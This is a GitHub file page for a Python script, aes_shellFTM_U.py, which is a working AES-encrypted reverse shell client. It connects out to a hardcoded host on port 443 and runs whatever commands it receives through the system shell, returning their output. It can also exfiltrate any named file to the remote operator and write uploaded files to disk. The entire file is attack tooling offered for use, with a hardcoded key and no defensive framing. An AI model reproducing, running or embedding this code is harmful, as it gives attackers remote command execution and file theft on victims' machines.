-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathaes_shellFTM_U.py
118 lines (95 loc) · 2.92 KB
/
aes_shellFTM_U.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from Crypto.Cipher import AES
import subprocess,socket
import base64
import time
import os
import sys,select
# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJHsjkdjklfs9aR"
# create a cipher object using the random secret
cipher = AES.new(secret)
#Server Config
HOST = "192.168.1.9"
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
active = False
# main loop
while True:
data = s.recv(1024)
decrypted = DecodeAES(cipher, data)
time.sleep(0.8)
success = EncodeAES(cipher, 'Success! We made it! EOFEOFEOFEOFEOFX')
s.send(success)
active = True
# active
while active:
# this data is now encrypted
data = s.recv(1024)
# decrypt data
decrypted = DecodeAES(cipher, data)
# check for out
if not decrypted.find("quit") :
sendData = 'Exit. \n EOFEOFEOFEOFEOFX'
crptData = EncodeAES(cipher,sendData)
s.send(crptData)
active = False
break
elif decrypted.startswith('download') == True:
# set file name
sendfile = decrypted[9:]
# file transfer
with open(sendfile, 'rb') as f:
while 1:
fileData = f.read()
if fileData == '':break
# send file
s.sendall(fileData)
f.close()
time.sleep(0.8)
# let server know we're done
s.sendall('EOFEOFEOFEOFEOFX')
time.sleep(0.8)
s.sendall(EncodeAES(cipher, 'Finished download'))
elif decrypted.startswith('upload') == True:
# set the file name
downFile = decrypted[7:]
# file transfer
g = open(downFile, 'wb')
# download file
while True:
d = s.recv(1024)
while (d):
if d.endswith("EOFEOFEOFEOFEOFX"):
u = d [:-16]
g.write(u)
break
else :
g.write(d)
d = s.recv(1024)
break
g.close()
else :
# execute command
proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# save output/error
stdoutput = proc.stdout.read() + proc.stderr.read()
# encrypt output
encrypted = EncodeAES(cipher, stdoutput)
# send encrypted output
s.send(encrypted,AES.MODE_CFB)
# exit the loop
s.send(EncodeAES(cipher,'Bye now.'))
s.close()